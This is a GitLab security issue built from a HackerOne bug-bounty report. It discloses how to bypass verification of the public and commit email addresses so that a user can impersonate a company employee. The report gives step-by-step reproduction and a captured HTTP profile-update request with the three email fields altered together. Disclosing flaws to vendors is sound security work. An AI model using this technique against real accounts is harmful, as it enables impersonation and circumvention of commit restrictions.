Employee impersonation by bypassing public and commit email verification
⚠ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.
HackerOne report #1881598 by theluci
on 2023-02-21, assigned to @fvpotvin:
Report | Attachments | How To Reproduce
Report
Hello,
While testing I found that the bug #219745 (closed) that gitlab fixed two years ago has reopened.
Summary
Gitlab doesn't check the reliability of the user[public_email] and the user[commit_email] parameters. In the backend, it just checks if those fields are matched with the user[email] but doesn't check if the email address has been verified. So by changing the user[email], user[public_email] and user[commit_email] at the same time, the server will change the user public email and commit email to become the same email as the currently-changed email address in the request (which hasn't been verified yet).
Steps to reproduce
- Create a Gitlab account with your email address.
For example, theluci+test2@wearehackerone.com in my case. - Go to /profile/emails
- Add an email address that you do not own. For example, theluci@gitlab.com
- Visit /profile
- Change your primary email address to theluci@gitlab.com, click Save and capture the request, it will look like this:
POST /-/profile HTTP/2
Host: gitlab.com
Content-Type: multipart/form-data; boundary=---------------------------45235675323735184942831572911
Cookie: COOKIES
-----------------------------45235675323735184942831572911
Content-Disposition: form-data; name="_method"
put
-----------------------------45235675323735184942831572911
Content-Disposition: form-data; name="authenticity_token"
VfTHsNArSelTU0RuPQ34ZHS2x6/w2sY59WMD1SCz/Un9PUpBuiW0RZE6nAGkthZN2NKlEFz28GWSlxcQaSHI6Q==
-----------------------------45235675323735184942831572911
Content-Disposition: form-data; name="user[avatar]-trigger"; filename=""
Content-Type: application/octet-stream
-----------------------------45235675323735184942831572911
Content-Disposition: form-data; name="user[status][emoji]"
-----------------------------45235675323735184942831572911
Content-Disposition: form-data; name="user[status][message]"
-----------------------------45235675323735184942831572911
Content-Disposition: form-data; name="user[status][availability]"
not_set
-----------------------------45235675323735184942831572911
Content-Disposition: form-data; name="user[timezone]"
Etc/UTC
-----------------------------45235675323735184942831572911
Content-Disposition: form-data; name="user[name]"
lucifer-attacker
-----------------------------45235675323735184942831572911
Content-Disposition: form-data; name="user[id]"
8552782
-----------------------------45235675323735184942831572911
Content-Disposition: form-data; name="user[pronouns]"
-----------------------------45235675323735184942831572911
Content-Disposition: form-data; name="user[pronunciation]"
-----------------------------45235675323735184942831572911
Content-Disposition: form-data; name="user[email]"
theluci@gitlab.com
-----------------------------45235675323735184942831572911
Content-Disposition: form-data; name="user[public_email]"
-----------------------------45235675323735184942831572911
Content-Disposition: form-data; name="user[commit_email]"
-----------------------------45235675323735184942831572911
Content-Disposition: form-data; name="user[skype]"
- Change user[email], user[public_email], user[commit_email] in above http request to become the same:
...
-----------------------------45235675323735184942831572911
Content-Disposition: form-data; name="user[email]"
theluci@gitlab.com
-----------------------------45235675323735184942831572911
Content-Disposition: form-data; name="user[public_email]"
theluci@gitlab.com
-----------------------------45235675323735184942831572911
Content-Disposition: form-data; name="user[commit_email]"
theluci@gitlab.com
...
- Forward the request.
- Now re-visit /profile/emails and you will see theluci@gitlab.com has become your public email address and your commit email address.
Impact
Impersonate as company employee with the public email address. Perform Gitlab git-related actions with the "verified" arbitrary email address and bypass the committing restriction.
Examples
My profile: [@]LuciferHackerone2
What is the current bug behavior?
The public and commit email addresses have a bad confirmation in the backend. It just checks if the email addresses are the same as the current email address. And when you send a request which also changes your current email address, the server will change your current email address first then perform change the user[commit_email] and user[public_email] after, which the user was able to bypass the check.
What is the expected correct behavior?
Commit and public email should be checked with verified email addresses, not only email addresses.
Output of checks
This bug happens on GitLab.com
Impact
Impersonate as company employee with the public email address. Perform Gitlab git-related actions with the "verified" arbitrary email address and bypass the committing restriction.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section: